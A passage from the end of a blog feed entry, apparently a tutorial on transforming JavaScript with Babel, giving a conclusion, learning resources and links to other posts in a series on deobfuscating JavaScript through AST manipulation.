the functionality to evaluate nodes (ex. BinaryExpressions) and return their actual value. Babel can also generate code from nodes, which can be evaluated with <code>eval</code> or the NodeJS VM.</li></ul></li></ol><h1 id="Conclusion-Additional-Resources"><a href="#Conclusion-Additional-Resources" class="headerlink" title="Conclusion + Additional Resources"></a>Conclusion + Additional Resources</h1><p>That was a short demonstration of transforming a piece of code with Babel! The next articles will be more in-depth and include practical cases of reversing obfuscation techniques you might encounter in the wild.</p><p>For the sake of time, I didn’t go too deep into the behind-the-scenes of Babel or all of its API methods. In the future, I may decide to update this article or write a new one with more detailed explanations, examples, and documentation. But, I really recommend getting a solid fundamental understanding of Babel’s features before continuing on in this series. Most notably, I didn’t cover the usage of the <code>@babel/types</code> package in this article, but it will be utilized in future ones. I’d recommend giving these resources a look:</p><p><a href="https://babeljs.io/docs/en/">Official Babel Docs</a><br><a href="https://github.com/jamiebuilds/babel-handbook/blob/master/translations/en/plugin-handbook.md">Babel Plugin Handbook</a><br><a href="https://www.youtube.com/watch?v=UeVq_U5obnE">Video: @babel/how-to</a></p><p>Here are links to the other articles in this series:</p><ul><li><p><a href="http://steakenthusiast.github.io/2022/05/22/Deobfuscating-Javascript-via-AST-Manipulation-Various-String-Concealing-Techniques/">Deobfuscating Javascript via AST: Reversing Various String Concealing Techniques</a></p></li><li><p><a href="http://steakenthusiast.github.io/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Converting-Bracket-Notation-Dot-Notation-for-Property-Accessors/">Deobfuscating Javascript via AST: Converting Bracket Notation => Dot Notation for Property Accessors</a></p></li><li><p><a href="http://steakenthusiast.github.io/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/">Deobfuscating Javascript via AST: Constant Folding/Binary Expression Simplification</a></p></li><li><p><a href="http://steakenthusiast.github.io/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/">Deobfuscating Javascript via AST: Constant Folding/Binary Expression Simplification </a></p></li><li><p><a href="http://steakenthusiast.github.io/2022/05/31/Deobfuscating-Javascript-via-AST-Replacing-References-to-Constant-Variables-with-Their-Actual-Value/">Deobfuscating Javascript via AST: Replacing References to Constant Variables with Their Actual Value</a></p></li><li><p><a href="http://steakenthusiast.github.io/2022/06/04/Deobfuscating-Javascript-via-AST-Removing-Dead-or-Unreachable-Code/">Deobfuscating Javascript via AST: Removing Dead or Unreachable Code</a></p></li></ul><p>You can also view the source code for all my deobfuscation tutorial posts in <a href="https://github.com/SteakEnthusiast/Supplementary-AST-Based-Deobfuscation-Materials/">this repository</a></p><p>Okay, that’s all I have for you today. I hope that this article helped you learn something new. Thanks for reading, and happy reversing!</p>]]></content>
<categories>
<category>Deobfuscation</category>
</categories>
<tags>
<tag>Javascript</tag>
<tag>Deobfuscation</tag>
<tag>Babel</tag>
<tag>Reverse Engineering</tag>
</tags>
</entry>
</search>